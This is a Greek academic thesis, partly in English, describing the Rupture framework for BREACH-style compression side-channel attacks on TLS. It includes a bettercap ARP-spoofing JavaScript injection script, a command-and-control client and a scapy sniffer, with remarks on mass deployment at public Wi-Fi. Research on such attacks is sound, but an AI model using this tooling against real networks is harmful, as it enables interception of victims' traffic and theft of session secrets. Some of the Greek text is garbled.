ο ΔημήτρηςΚαρακώστας διερεύνησε στη διπλωματική του εργασία στατιστικές μεθόδους
για επιθέσεις σε αλγορίθμους δεσμων.Η ενότητα 3.1 εξελίσσει τη χρήση τωνστατιστικών
μέθοδωνγια τις επιθέσεις σε αλγρίθμους κρυπτογράφησης δεσμώνσε έναπιο δομημένο
τρόπο.

Στην ενότητα 3.2 προτείνουμε επίσης διάφορες τεχνικές βελτιστοποίησης που κάνουν
την επίθεση πολύ πιο αποδοτική.

3.1 Ευθυγράμμιση Δεσμών

Οι αλγόριθμοι κρυπτογράφησης δεσμώνπαρέχουνμια μεγαλύτερηπρόκλησησε σχέση
με τους αλγόριθμους κρυπτογράφησηςροής, όσοναφόραστοαν ξεχωριζουμε διαφορές
στομήκος, αφούοι αλγόριθμοι κρυπτογράφησηςροήςπαρέχουνκαλύτερηδιακριτότητα.
Αυτόσυμβαίνει γιατί οι αλόριθμοι κρυπτογράφησης δεσμώνστρογγυλοποιούν τομηκος
σε λ-bits, όπου λ είναι το μέγεθος του μπλόκ/δέσμης. Για να το παρακάμψουμε αυτό,
προτείνουμε την εισαγωγή τεχνητού θορύβου,η οποία θα αναγκάσει την δημιουργία
πρόσθετωνμπλοκ, εάν είναι απαραίτητο. Θεωρητικά, θαήταναρκετό για ναπραγματοποιήσουμε
16× περισσότερα αιτήματα (requests) για να επιτευχθεί η ευθυγράμμιση μπλοκ. Σε
αυτό το σημείο, ο σωστός υποψήφιος χαρακτήρας θα έχει ως αποτέλεσμα ένα λιγότερο
μπλοκ, το οποίο είναι μια μετρήσιμη διαφορά μήκους.
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Figure 3.1: Ευθυγράμμιση Block/Δέσμης

Το παραπάνω δίνει ένα παράδειγμα για το πως η εισαγωγή τεχνητού θορύβου οδηγεί
στην ευθυγράμμηση των δεσμών και πως αυτο συντελλει σε μια μετρησιμη διαφορά
μήκους. Στο παράδειγμα υποθέτουμε οτι το γνωστό μυστικό είναι το fooba και ότι το
επόμενο πιθανό byte προέρχεται απο το αλφάβητο (r,s,t). Οταν η επίθεση χρησιμοποιεί
ως επιπρόσθετους χαρακτήρες τοXY, το συνολικό μήκος των τριώνπιθανών επόμενων
byte είναι το ίδιο. Παρότι το foobar έχει 15 bits, στρογγυλοποιούνται στα 16 bits λόγω
της ευθυγράμμησης τωνμπλοκ/δεσμώνΑν χρησιμοποιήσουμεωςπροσθετους χαρακτήρες
τους XYZ, οι λάθος υποψήφιοι χαρακτήρες έχουν ως αποτέλεσμα ένα επιπλέον μπλοκ
επειδη ξεπερνάνε τα όρια του μπλοκ. Αν και η πραγματική διαφορά ειναι μόνο 1 bit, η
χρήση του αλγόριθμου δεσμών/μπλοκ έχει ως αποτέλεσμα 16 bits διαφορά μήκους.

3.2 Βελτιστοποιήσεις

3.2.1 Σούπα αιτήμάτων

Ένα πρόβλημα με τις κρυπτογραφημένες απαντήσεις ειναι το γεγονός οτι δεν ειναι
δυνατό να γνωρίζουμε σίγουρα ποιό πακέτο αντιστοιχεί σε ποιό ερώτημα, όταν τα
ερωτηματα ερχονται το ενα μετά το άλλο από τον browser. Έτσι, αν ένας επιτειθέμενος
θέλει να κάνει ερωτήματα σειριακά, θα επρεπε να είναι σίγουρος οτι όλα τα πακέτα-
απαντήσεις για κάθε ερώτημα έχουν φτάσει, πριν να κάνει ένα καινούριο ερώτημα.

Ώστόσο, είναι πιθανό νααποφύγουμεαυτή τηνκαθυστέρησηκάνοντας samplesets(συνολα
απόδείγματα), καθένααπό ταοποίαπεριέχουνπολλαπλά ερωτήματαγια ενασυγκεκριμένο
συμβολο. Για κάθε sampleset, οι απαντήσεις θα ερχονται η μια μετα την άλληη και δε
θα είναι δυνατό να τις ξεχωρίσουμε. Αυτό όμως δεν αποτελεί πρόβλημα, αφου αυτά
τα ερωτήματα και οι αντίστοιχες απαντήσεις δεν εξαρτώνται η μια από την άλλη και
συνεπώς δεν υπάρχει ανάγκη να τις ξεχωρίσουμε. Το συνολικό μήκος μπορεί και πάλι
να μετρηθεί και να διαίρεθεί με το σύνολο των αιτημάτων που περιέχει το sample-
set. Αυτό είναι αρκετό για να υππλογίζουμε το επιθυμητό μέσο μήκος. Αυτή η μέθδος
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προσφέρει μια αυξηση της ταχύτητας ως και 5×, θεωρώντας 200 ms καθυστέρηση και
40 ms round trip time.

3.2.2 Παραλληλοποίηση σε επίπεδο Browser

Ηβελτιστοποήση που παρουσιαστηκε στην ενότητα 3.2.1 θα είχε μικρός όφελος αν δεν
υπήρχε παραλληλοποίηση σε επίπεδο browser. Παρόλο που ο επιτιθέμενος θα έστελνε
πολλαπλά αιτήματα σε μία χρονική στιγμή, ο browser θα τα χειριζόταν σειριακά.

Οι browsers επιτρέπουηνως και 6 παράλληλα HTTP αιτήματα, αν και αυτό διαφέρει
ανάλογα με την εφαρμογή και την έκδοση του browser. Αυτό επιτρεπει να κάνουμε
πολλαπλά παράλληλα αιτήματα και να παίρνουμε δείγματα την ίδια χρονική στιγμή,
κάνοντας έτσι την επίθεση ως και 6× γρηγορότερη.

Κάθε παράλληλο αίτημα δεν μπορει να εξαρτάται απο προηγούμενο αποτελέσματα.
Ωστόσο, συλλέγουμε πολλαπλά δείγματα για κάθε υποψήφιο χαρακτήρα προκειμένου
νακάνουμε τηστατιστικήανάλυσηκαι να εξάγουμε τομέσο. Αυτά τα δείγματααφορούν
τον ίδιο υποψήφιο χαρακτήρα και μπορουν να συλλεχθουν χωρίς αλληλεξάρτηση.

Figure 3.2: Παραλληλοποίηση σε επίπεδο Browser
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Chapter 4

Rupture framework

Σε αυτό το κεφάλαιο, θα περιγράψουμε το εργαλέιο μας για τη διεξαγωγή επιθέσεων
συμπίεσης, το Rupture. Το Rupture είναι ενα συστημα service-based αρχιτεκτονικής
που περιέχει πολλαπλα ανεξάρτητες τμήματα.

Η ενότητα 4.1 περιγράφει τις προυποθέσεις που απαιτούνται προκειμένου να γίνει η
επίθεση. Η ενότητα 4.2 περιγράφει την ορολογία που χρησιμοποιείται στο εργαλείο
μας μας και τις αρχές που το διέπουν. Τέλος, η ενότητα 4.3 παρουσιάζει διεξοδικά τα
πολλαπλά τμήματα του εργαλείου.

Αν και τα διάφορα τμήματα έχουν σχεδιαστεί για να μπορούν να τρέξουν ανεξάρτητα
σε διαφορετικά δίκτυαήσυστήματαυπολογιστών, η επίθεσημπορεί ναπραγματοποιηθεί
με την εκτέλεση όλων των υποσυστημάτων σε ένα σύστημα. Παρέχουμε τα κατάλληλα
scripts για τη εύκολη διεξαγωγή τέτοιου είδους επιθέσεων.

4.1 Υποθέσιες της επίθεσης

Το εργαλείο προϋποθέτει μια υπηρεσία target/στόχο να επιτεθεί. Τυπικάαυτήηυπηρεσία-
στόχος είναι μια διαδικτυακήυπηρεσίαπου χρησιμοποιεί TLS. Συγκεκριμένα, στοχεύουμε
σε υπηρεσείες που παρέχουν HTTPS συνδέσεις. Ωστόσο, επιθέσεις εναντίον άλλων
παρόμοιωνπρωτόκολλων είναι εφικτές. Οποιοδήποτε πρωτόκολλοανταλλάσει κρυπτογραφημένα
δεδομένα στο δίκτυο για τα οποία υπάρχει θεωρητική επίθεση μπορεί να επιτεθεί
χρησιμοποιώντας τοRupture. Σχεδιασαμε τοRuptureώς ενα εργαλείο γιαπειραματισμό
σε τέτοιες νέες επιθέσεις. Παραδείγματαάλλωνκρυπτογραφημένωνπρωτοκόλλωνγια
τα οποία μπορεί να ελεγχθεί η επίθεση είναι το SMTP και το XMPP.

Η επίθεση υποθέτει επίσης ένα χρήστη της υπηρεσίας-στόχου για τον οποίο θέλουμε να
αποκρυπτογραφησουμε δεδομένα, το victim/θύμα. Το θύμασυνδέεται με ένασυγκεκριμένο
στόχο.

Υπάρχουν δύο βασικές υποθέσεις στην επίθεση μας: Η εισαγωγή κώδικα και και η
συλλογη πακετων (injection and sniffing). Αυτά επιτυγχάνονται συχνά με τα ίδια μέσα,
χωρίς όμως να είναι απαραίτητο.

Η υπόθεση εισγωγής κώδικα σημαίνει οτι ο επιτιθέμενος είναι σε θέση να εισάγει
εκτελέσιμο κώδικα στον υπολογιστή του θύματος. Ο κωδικάς αυτός μπορεί να κάνει
προσαρμοστικά αιτήματα για την υπηρεσία στόχο. Η εισαγωγή κώδικα στο Rupture
επιτυγχάνεται μέσω του textit injector. Ο κωδικάς που εισάγεται εγχέεται είναι ο client
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Ηυπόθεση σθλλογής πακέτων αναφέρει ότι ο αντίπαλος είναι σε θέση να παρατηρήσει
δίκτυομεταξύ του θύματος και τουστόχου. Αυτήηκίνηση είναι συνήθωςκρυπτοκείμενα.
H συλλογή πακέτων επιτυγχάνεται μέσω του sniffer.

Τοσο ο sniffer όσο και ο client θα παρουσιαστούν στην ενότητα 4.3.

4.2 Αρχές της επίθεσης

Η επίθεση πραγματοποιείται εισαγοντας πρώτα τον client κώδικα στον υπολογιστή
του θυματος χρησιμοποιώντας τον injector. O client στη συνέχεια ανοίγει ενα κανάλι
εντολής-και-έλεγχο (command-and-control) με την realtimeυπηρεσία, η οποίαπροωθεί
τη δουλειά από το backend στον client.

Όταν ένας client συνδέεται με ένα θύμα, ζητά δουλειά. Tο backend δίνει δουλειά στη
realtime υπηρεσία, η οποία την προωθεί στον client. Αυτά τα αιτήματα-δουλειές ζητούν
από τον client να εκτελέσει μια σειρά από αιτήματα δικτύου από το υπολογιστή του
θύματος στο διαδίκτυακο στόχο. Δεδομένου ότι αυτά τα αιτήματα γίνονται από τον
browser του θύματος, περιέχουν cookies αυθεντικοπίησηςπου επικυρώνουν το χρήστη
στην υπηρεσία στόχο. Ως εκ τούτου, οι απαντήσεις περιέχουν ευαίσθητα δεδομένα,
αλλά τα δεδομέναδεν είναι αναγνώσιμααπό τον client λόγωτηςπολιτικής ίδιας προέλευσης
(same origin policy).

Όταν η απάντηση έρχεται από την ιστοσελίδα-στόχο στον υπολογιστή του θύματος, η
κρυπτογραφημένηαπάντησησυλλέγεται από το sniffer στο δίκτυο. Τακρυπτογραφημένα
στοιχεία που αφορούν μία απάντηση είναι ένα sample. Κάθε εργασία ζητά πολλαπλά
αιτήματα που πρέπει να γίνουν, και ως εκ τούτου πολλαπλά δείγματα συλλέγονται
ανά εργασία. Το σύνολο των δειγμάτων που συλλέγονται για ένα συγκεκριμένο αίτημα
εργασία είναι ένα sampleset.

Figure 4.1: Samplesets

At each stage of the attack, a prefix of the secret is known, because that portion of the
secret has already been successfully decrypted. The prefix decrypted grows until the
whole secret becomes known, at which stage the attack is completed.

To drill down on the known alphabet, one of two methods is employed. In the serial
method, each symbol of the known alphabet is tried sequentially. In the divide & con-
quer method, the alphabet is split into two candidate alphabet subsets which are tried
independently.

Μια επιτυχημένη επίθεση αποκρυπτογραφεί πλήρως ένα τμήμα του απλού κειμένου.
Το τμήμα του απλού κειμένου που προσπαθεί η επίθεση να αποκρυπτογράφησει είναι
το μυστικό, secret. Αυτό το τμήμα κειμένου εντοπίζεται μέσω ενός αρχικά γνωσού
πρόθέματος που το διακρίνει από άλλα μυστικά. Αυτό το πρόθεμα είναι συνήθως 3 έως
5bytes. Κάθε byte του τομυστικόμπορούννααντληθεί από έναδεδομένοαλφάβητο, το
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αλφάβητο τουμυστικό.Παραδείγματος χάριν, μερικάμυστικάπεριέχουνμόνοαριθμούς,
και έτσι αλφάβητο τους είναι το σύνολο των αριθμών [0-9].

Σε κάθε στάδιο της επίθεσης, ένα πρόθεμα του μυστικού είναι γνωστo, επειδή αυτό το
τμήμα του μυστικού έχει ήδη αποκρυπτογραφηθεί επαρκώς. το αποκρυπτογραφημένο
πρόθεμα μεγαλώνει μέχρι να γίνει γνωστό το όλο μυστικό, οπότε και η επίθεση έχει
ολοκληρωθεί.

Όταν ένα συγκεκριμένο πρόθεμα του μυστικού είναι γνωστό, το επόμενο byte του
μυστικού πρέπει να είσαι αποφασισμένος. Η επίθεση προϋποθέτει αρχικά την επόμενη
άγνωστο byte της μυστικής μπορεί να προέλθει από το αλφάβητο το μυστικό του, αλλά
σιγά-σιγά ασκήσεις κάτω και απορρίπτει σύμβολα αλφαβήτου μέχρι παραμένει μόνο
ένας υποψήφιος σύμβολο. Σε κάθε στάδιο της επίθεση ενός byte του μυστικού, υπάρχει
μια ορισμένη textit γνωστό αλφάβητο η οποία το επόμενο byte μπορεί να πάρει. Αυτή
η γνωστή αλφάβητο είναι ένα υποσύνολο των μυστικών του αλφάβητο.

Για να περιορίσουμε το γνωστό αλφάβητο, μία από τις δύο παρακάτω μεθόδους που
χρησιμοποιείται. Στησειριακήμέθοδο, κάθε σύμβολο του γνωστούαλφαβήτου δοκιμάζεται
διαδοχικά. Στημέθοδο διαίρει&βασίλευε, το αλφάβητο είναι χωρισμένοσε δύουποψήφια
αλφάβητα υποσύνολα τα οποία δοκιμάζονται ανεξάρτητα.

Figure 4.2: Divide & Conquer Alphabet

Η επίθεση γίνεται σε γύρους. Σε κάθε γύρο, λαμβάνεται μια απόφαση σχετικά με την
κατάσταση της επίθεσης και κάτι περισσότερο γίνεται γνωστό για το μυστικό. Σε ένα
γύρο, είτε το επόμενοbyte τουμυστικού γίνεται γνωστό, ή το γνωστόαλφάβητοπεριορίζεται
σε έναμικρότεροσύνολο.Προκειμένουνασυγκρίθουν τα διάφοραυποψήφιααλφάβητα,
η επίθεση εκτελεί μια σειρά παρτίδες, batches συλλογής δεδομένων για κάθε γύρο.

Σε κάθεπαρτίδα, τα διάφοραδείγματαπουσυλλέχθηκαναπόκάθεκατανομήπιθανοτήτων
αναφέρονται σε ένα υποψήφιο αλφάβητο και σχηματίζουν ένα sampleset. Όταν sam-
plesets της ίδια ποσότητας των δειγμάτων έχουν συλλεχθεί για όλες τις υποψήφια
αλφάβητα, μια παρτίδα έχει ολοκληρωθεί και τα δεδομένα αναλύονται. Η ανάλυση
εκτελείται από τον αναλυτής, analyzer ο οποίος συγκρίνει στατιστικά τα δείγματα
από διαφορετικές κατανομές και αποφασίζει ποιά διανομή είναι η βέλτιστη, δηλαδή
περιέχει τη σωστή εικασία. Η απόφαση αυτή λαμβάνεται με κάποια εμπιστοσύνη, confi-
dence, η οποία εκφράζεται σε bytes. Εάν η εμπιστοσύνη είναι ανεπαρκής, μια πρόσθετη
παρτίδα samplesets συλλέγεται, και η ανάλυση επαναλαμβάνεται έως ότου η τίμή της
εμπιστοσύνης ξεπεράσει ένα συγκεκριμένο όριο.

Όταν συλλεχθουν αρκετές παρτίδες ώστε να βγει μια απόφαση που πρέπει να γίνουν
με την καλή εμπιστοσύνη, ο γύρος της επίθεσης έχει ολοκληρωθεί και περισσότερη
πληροφορία σχετικάμε τομυστικό γίνεται γνωστή. Κάθε γύρος στηνκαλύτερηπερίπτωση
συλλέγει ένα κομμάτι των πληροφοριών του μυστικού.
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Figure 4.3: Scoreboard

4.3 Αρχιτεκτονική

4.3.1 Injector

The injector component is responsible for injecting code to the victim’s computer for
execution. In our implementation,we assume the adversary controls somenetwork of
the victim. Our injector injects the client code in all unauthenticated HTTP responses
that the victim receives. This Javascript code is then executed by the victim’s browser
in the context of the respective domain name. We use bettercap [1] to perform the
HTTP injection. The injection is performed by ARP spoofing the local network and
forwarding all traffic in a Man-in-the-Middle manner. It is simply a series of shell
scripts that use the appropriate bettercap modules to perform the attack.

As all HTTP responses are infected, this provides increased robustness. The injected
client code remains dormant until it is asked towake up by the command -and-control
channel. This means that the user can switch between browsers, reboot their com-
puter, close and reopen browser tabs, and the attack will keep running.

The injector component needs to run on the victim’s network and as such is light-
weight and stateless. It can be easily deployed on a machine such as a Raspberry Pi,
and canbeused formassive attacks, for example at public unencryptednetworks such
as coffee shops or airports. Multiple injectors can be deployed to different networks,
all controlled by the same central command-and-control channel.

While injection is performed on the local network through altering HTTP responses
in our case, the injector component is independent and can be replaced by alternative
means. Other good points of injection that can be used instead of our build-in injector
are giving a link directly to the victim via a phishingmail, in which case attack robust-
ness is limited, or by injecting code at the ISP or router level if the adversary has such
a level of access.
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Figure 4.4: Injector Code

4.3.2 Sniffer

The sniffer component is responsible for collecting data directly from the victim’s net-
work. As the client issues chosen plaintext requests, the sniffer collects the respective
ciphertext requests and ciphertext responses as they travel on the network. These en-
crypted data are then transmitted to the backend for further analysis and decryption.

Figure 4.5: Sniffer Code

Our sniffer implementation runs on the same network as the victim. It is a Python
program which uses scapy [2] to collect network data.

Our sniffer runs on the same machine as our injector and utilizes the injector’s ARP
spoofing to retrieve the data from thewire or the air. Other sniffer alternatives include
sniffing data on the target network side, or on the ISP or router point if the adversary
has such a level of access.

The sniffer exposes anHTTPAPIwhich is utilized by the backend for controllingwhen
sniffing starts, when it is completed, and to retrieve the data that was sniffed. This API
is described below.

backend <-> sniffer (HTTP)

The Python backend application communicates with the sniffer server, in order to
initiate a new sniffer, get information or delete an existing one. The sniffer server
implements a RESTful API for communication with the backend.

/start is a POST request that initializes a new sniffer. Upon receiving this request, the
sniffer service should start sniffing.
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The request contains a JSON with the source_ip, - the IP of the victim on the local net-
work - and the destination_host - the hostname of the target that is being attacked.

The backend returnsHTTP 201 if the sniffer is created correctly. Otherwise, it returns
HTTP 400 if either of the parameters is not properly set, or HTTP 409 - Conflict, if a
sniffer for the given arguments already exists.

/read is GET request that asks for the network capture of the sniffer.

The GET parameters are the source_ip - the IP of the victim on the local network - and
the destination_host - the hostname of the target that is being attacked.

The backend returnsHTTP 200with a JSON that has a field capture, which contains the
network capture of the sniffer as hexadecimal digits, and a field records, that contains
the total amount of captured TLS application records. In case of error, HTTP 422 -
Unprocessable Entity is returned if the captured TLS recordswere not properly formed
on the sniffed network, or HTTP 404 if no sniffer with the given parameters exists.

/delete is a POST request that asks for the deletion of the sniffer

The request contains a JSON with the source_ip - the IP of the victim on the local net-
work - and destination_host - the hostname of the target that is being attacked.

The backend Returns HTTP 200 if the sniffer was deleted successfully, or HTTP 404 if
there is no sniffer with the given parameters.

4.3.3 Client

The client runs on the victim machine and is responsible for issuing adaptive chosen
plaintext requests to the target oracle.

The client is written in Javascript and runs in a different context from the target web-
site. Thus, it is subject to same-origin policy and cannot read the plaintext or encrypted
responses. However, the encrypted requests and responses are available to the sniffer
through direct network access.

The client containsminimal logic. It connects to the real-time service througha command-
and-control channel and registers itself there. Afterwards, it waits for work instruc-
tions by the command-and-control channel, which it executes. The client does not take
any decisions or receive data about the progress of the attack other than the work it
is requested to do. This is intentional so as to conceal the workings of the adversary
analysis mechanisms from the victim in case the victim attempts to reverse engineer
what the adversary is doing. Furthermore, it allows the system to be upgradedwithout
having to deploy a new client at the victim’s network, which can be a difficult process.

As a regular user is browsing the Internet, multiple clients will be injected in insecure
pages and they will run under various contexts. All of them will register and main-
tain an open connection through a command-and-control channel with the real-time
service. The real-time service will enable one of them for this victim, while keeping
the others dormant. The one enabled will then receive work instructions to perform
the required requests. If the enabled client dies for whatever reason, such as a closed
tab, one of the rest of the clients will be waken up to take over the attack.

The client is a Javascript programwritten using harmony / ECMAScript 6 and compiled
using babel and webpack.
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Figure 4.6: Client Code

4.3.4 Real-time

The real-time service is a service which awaits for work requests by clients. It can
handle multiple targets and victims. It receives command-and-control connections
from various clients which can live on different networks, orchestrates them, and
tells them which ones will remain dormant and which ones will receive work, en-
abling one client per victim.

The real-time service is developed in Node.js.

The real-time service maintains open web socket command-and-control connections
with clients and connects to the backend service, facilitating the communication be-
tween the two.

The real-time server forwards work requests and responses between the client and
the Django service. The communication it does with the client uses web sockets in
order to achieve bi-directional communication in real-time. This also facilitates the
ability to detect that a client has gone away, which is registered as a failure to dowork.
This can happen for example due to network errors if the victim disconnects from the
network, closes their tab or browser, and so on. It is imperative that incomplete work
is marked as failed as soon as possible so that the attack can continue by recollecting
the failed samples.
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Figure 4.7: Real-time Code

The web socket API exposed by the real-time service is explained below.

client <-> real-time protocol

The client / real-time protocol is implemented using socket.io websockets.

client-hello / server-hello

When the client initially connects to the real-time server, it sends the message client-
hello passing its victim_id to the real-time server. The server responds with a server-
hello message. After these handshake messages are exchanged, the client and server
can exchange futher messages.

get-work / do-work

When the client is ready to perform work, it emits the message get-work requesting
work to be performed from the real-time server. The real-time server responds with
a do-work message, passing a work object, that is structured as defined below:

typedef work
amount: int
url: string
timeout: int (ms)

If the real-time service is unable to retrieve work from the backend due to a com-
munication error, real-time will return an empty work object indicating there is no
available work to be performed at this time.

work-completed

When the client has finished its work or has been interrupted due to network error,
it emits a work-completedmessage, containing the following information:

work: work,
success: bool
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success is true if all requests were performed correctly, otherwise it is false.work con-
tains the work that was performed or failed to perform.

4.3.5 Backend

The backend is responsible for strategic decision taking, statistical analysis of sam-
ples collected, adaptively advancing the attack, and storing persistent data about the
attacks in progress for future analysis.

Thebackend talks to the real-time service for pushingwork out to clients. It also speaks
to the sniffer for data collection.

It is implemented in Python using the Django framework.

The backend exposes a RESTful API via HTTP to which the real-time service makes
requests for work. This API is explained below.

real-time -> backend (HTTP)

The backend implements various API endpoints for communicationwith the real-time
server.

/get_work/<victim> is an HTTP GET endpoint. It requests work to be performed on
behalf of a client. The argument passed is the victim - the id of the victim.

If there is work to be done, it returns an HTTP 200 response with the JSON body con-
taining the work structure. The workwill contain instructions to collect multiple sam-
ples from the same distribution by performing a series of similar requests. The sam-
ples associated with a particular work request and performed all together constitute
a sampleset.

In case nowork is available for the client, it returns an HTTP ‘404‘ response.Work can
be unavailable in case a different client is already collecting data for the particular
victim, and we do not wish to interfere with it.

/work_completed/<victim> is an HTTP POST endpoint. It indicates on behalf of the
client that some work was successfully or unsuccessfully completed. The arguments
passed are the work and a boolean success parameter

If success is True, this indicates that the series of indicated requests were performed
by the victim correctly. Otherwise, the victim failed to perform the required requests
due to a network error or a timeout and the work has to be redone.

43





Chapter 5

Rupture API via Web UI

In this chapter we describe our contributions regarding a RESTful API for Rupture
We believe that the API that enables researchers to fully automate TLS-based attacks
such as compression side-channel attacks.We provide a usable, clean set of end-points
which canbeused tomount the attack:Managing targets such as variousweb services,
managing victims by robustly injecting and sniffing for information on local networks
based on IP addresses,managing strategies for advancing attack rounds based on state
search exploration, and running analyses on collected data, which is stored persis-
tently. We are confident this automation will enable cryptographers and security re-
searchers to heavily experiment with the various attack parameters, yielding better
attack results in terms of correctness and performance.

5.1 RESTful API

In this section, We describe theimplementation of a RESTful API via HTTP to which
the user makes requests from the web User Interface. This RESTful API can also be
used directly by programmers without the need to use the web interface.

5.1.1 /attack

The /attack is an HTTP POST endpoint.

When the backend receives a POST request, it initiates a new attack. The arguments
passed are the victim’s IP and the target. There is also an optional parameter, the vic-
tim_id. If the victim_id exists, the victim already exists. If no victim_id argument is
passed, the backend creates and stores a new victim. In both cases, the backend cre-
ates the client and injection code for the specific victim and injects the client code to
the victim’s machine with bettercap. It returns HTTP 200 with a JSON that has a field
victimid, which contains the ID of the new victim.

5.1.2 /victim

The /victim is an HTTP POST and GET endpoint.

When the backend receives a POST request, it creates a new victim. The arguments
passed are the victim’s IP. The backend creates and stores a new victim, and returns
HTTP 200with a JSON that has a field victimid, which contains the ID of the newvictim.
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On aGET request, the backend returns anHTTP 200 JSON response. The JSON contains
a list of all the stored victims that the attack is still running on or has been completed.

5.1.3 /victim/< victimId >

The /victim/< victimId > is an HTTP GET, PUT and DELETE endpoint.

On a GET request, the backend returns HTTP 200 with a JSON with details for the
victim with the specific victimId. The argument passed is the victim’s Id. The backend
returns the general information and details of the attack. The general information
consists of the victim’s IP and machine name, the target name, the decrypted secret
up to this point and a percentage of the progress. Further details are provided per
batch. These are the round number, the batch number, the alignment alphabet, the
possible knownsecret and the confidence.

On a PUT request, the user asks the backend to pause or continue the attack. The ar-
gument passed is the desired state of the attack, either ”paused” or ”running”. The
backend updates the current state of the attack and returns HTTP 200.

On a DELETE request, the backend deletes the specific attack.

5.1.4 /victim/notstarted

The /victim/notstarted is an HTTP GET endpoint. When a GET request is received, the
backend scans the wifi network with bettercap to find all possible victims and their
machine’s name. The backend returns a list of possible’s victims IPs and machine
names.

5.1.5 /target

This is an HTTP 200 POST and GET endpoint. On a POST request, the argument passed
to the backend is the name of the target, the endpoint, the known prefix, the secret’s
alphabet, the secret length, the alignment alphabet, the records’ cardinality and the
method of the attack. The backend creates and stores the new target and returns 200
HTTP with a JSON with the target name.

On a GET request, the backend returns anHTTP 200 JSON response. The JSON contains
a list of all the stored target for which an attack is possible.

5.2 Web UI

The user handles the attacks via a web interface which consists of two main pages
and amodal window. The twomain pages are theNetwork Overview and the Victim
Attack Inspection. The modal window is used for the target configuration.

The Network Overview is the start page. It displays the completed, the currently run-
ning and the paused attacks. It also allows the user to initiate a new attack either by
adding a custom victim or by scanning and choosing one of victims with bettercap.
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Figure 5.1: Start Page

The completed and the running or paused attacks are represented PC icons. When
the user clicks the Scan for victims button, bettercap scans the network for possible
victims,which are shownbeneath the running/paused attacks. The user can otherwise
click Add custom victim button if they already know the victim’s IP and don’t need to
search for other victims.

Figure 5.2: Possible victims for a new attack

The victimand target configuration are shownbelow. If the user has previously scanned
the network, the victim’s IP is already filled.

Figure 5.3: Victim Configuration

There are some pre-configured targets but the user can configure a new one.
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Figure 5.4: Target Configuration

When the user clicks a completed, running or paused attack, they can view further
details of the attack.

Figure 5.5: Attack details

The above indicate how easily the user can perform the attack in a fully automated
way.
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Chapter 6

Παραρτημα

6.1 Injector

#!/bin/sh

SOURCEIP=$1

iconv -f utf-8 -t ascii//TRANSLIT dist/main.js > dist/main2.js
mv -f dist/main2.js dist/main.js
sudo bettercap -T ${SOURCEIP} --proxy --proxy-module injectjs --allow-

local-connections --js-file dist/main.js

Listing 6.1: inject.sh

6.2 Client

const io = require('socket.io-client '),
req = require('./request.js'),
config = require('./config.js');

const BREACHClient = {
ONE_REQUEST_TIMEOUT: 5000,
MORE_WORK_TIMEOUT: 10000,
_socket: null,
init() {

let flag = 0;
this._socket = io.connect(config.COMMAND_CONTROL_URL);
this._socket.on('connect', () => {

console.log('Connected ');
this.noWork(flag);

});
this._socket.on('do-work', (work) => {

console.log('do-work message ');
this.doWork(work);

});
this._socket.on('server-hello', () => {

this.getWork();
console.log('Initialized ');

});
this._socket.on('server-nowork', () => {

this.noWork(flag);
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});
},
noWork(flag) {

if (flag == 0) {
flag = 1;
this._socket.emit('client-hello', {

victim_id: config.VICTIM_ID
});

}
else {

console.log('No work');
setTimeout(

() => {
this._socket.emit('client-hello', {

victim_id: config.VICTIM_ID
})

},
this.MORE_WORK_TIMEOUT

);
}

},
doWork(work) {

const {url, amount, alignmentalphabet} = work;

// TODO: rate limiting
if (typeof url == 'undefined ') {

this.noWork();
return;

}
console.log('Got work: ', work);

const reportCompletion = (success) => {
if (success) {

console.log('Reporting work-completed to server ');
}
else {

console.log('Reporting work-completed FAILURE to server ')
;

}

this._socket.emit('work-completed ', {
work: work,
success: success,
host: window.location.host

});
}
req.Collection.create(

url,
{amount: amount, alignmentalphabet: alignmentalphabet},
function() {},
reportCompletion.bind(this, true),
reportCompletion.bind(this, false)

);
},
getWork() {

console.log('Getting work');
this._socket.emit('get-work');

}
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};

BREACHClient.init();

Listing 6.2: breach.jsx

6.3 Sniffer

import threading
import logging
import binascii
import socket
import collections
from scapy.all import sniff, Raw, IP, TCP, send

logger = logging.getLogger('sniffer ')

# TLS Header
TLS_HEADER_LENGTH = 5
TLS_CONTENT_TYPE = 0
TLS_LENGTH_MAJOR = 3
TLS_LENGTH_MINOR = 4

# TLS Content Types
TLS_CHANGE_CIPHER_SPEC = 20
TLS_ALERT = 21
TLS_HANDSHAKE = 22
TLS_APPLICATION_DATA = 23
TLS_HEARTBEAT = 24
TLS_CONTENT = {

TLS_CHANGE_CIPHER_SPEC: 'Change cipher spec (20)',
TLS_ALERT: 'Alert (21)',
TLS_HANDSHAKE: 'Handshake (22)',
TLS_APPLICATION_DATA: 'Application Data (23)',
TLS_HEARTBEAT: 'Heartbeat (24)'

}

class Sniffer(threading.Thread):
'''
Class that defines a sniffer thread object. It implements interface
methods for
creating, starting, reading the captured packets and deleting the
sniffer.
'''
def __init__(self, arg):

'''
Initialize the sniffer thread object.

Argument:
arg -- dictionary with the sniffer parameters:

interface: the device interface to use sniff on, e.g.
wlan0

source_ip: the local network IP of the victim, e.g.
192.168.1.66
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destination_host: the hostname of the attacked endpoint , e
.g. dimkarakostas.com

'''
super(Sniffer, self).__init__()

# Set thread to run as daemon
self.daemon = True

# Initialize object variables with parameters from arg dictionary
self.arg = arg
try:

self.interface = str(arg['interface '])
self.source_ip = str(arg['source_ip '])
self.destination_host = str(arg['destination_host '])
self.destination_port = int(arg['destination_port '])

except KeyError:
raise ValueError('Invalid argument dictionary - Not enough

parameters ')

try:
self.destination_ip = socket.gethostbyaddr(self.

destination_host)[-1][0]
except socket.herror, err:

raise ValueError('socket.herror - {}'.format(str(err)))

# If either of the parameters is None, raise ValueError
if not all([

self.interface ,
self.source_ip ,
self.destination_host ,
self.destination_port]

):
raise ValueError('Invalid argument dictionary - Invalid

parameters ')

# Dictionary with keys the destination (victim's) port
# and value the data stream corresponding to that port
self.port_streams = collections.defaultdict(lambda: [])

# Thread has not come to life yet
self.status = False

def run(self):
self.status = True

self.start_sniffing()

def start_sniffing(self):
# Capture only response packets
capture_filter = 'tcp and src host {} and src port {} and dst

host {}'.format(self.destination_ip , self.destination_port , self.
source_ip)

# Start blocking sniff function ,
# save captured packet
# and set it to stop when stop() is called
sniff(

iface=self.interface ,
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filter=capture_filter ,
prn=lambda pkt: self.process_packet(pkt),
stop_filter=lambda pkt: self.filter_packet(pkt)

)

def filter_packet(self, pkt):
return not self.is_alive()

def process_packet(self, pkt):
# logger.debug(pkt.summary())

# Check for retransmission of same packet
try:

previous_packet = self.port_streams[pkt.dport][-1]
if previous_packet[Raw] == pkt[Raw]:

return
except IndexError:

# Either stream list is empty
# or one of the two packets does not have Raw data.
# In either case, the packet is OK to be saved.
pass

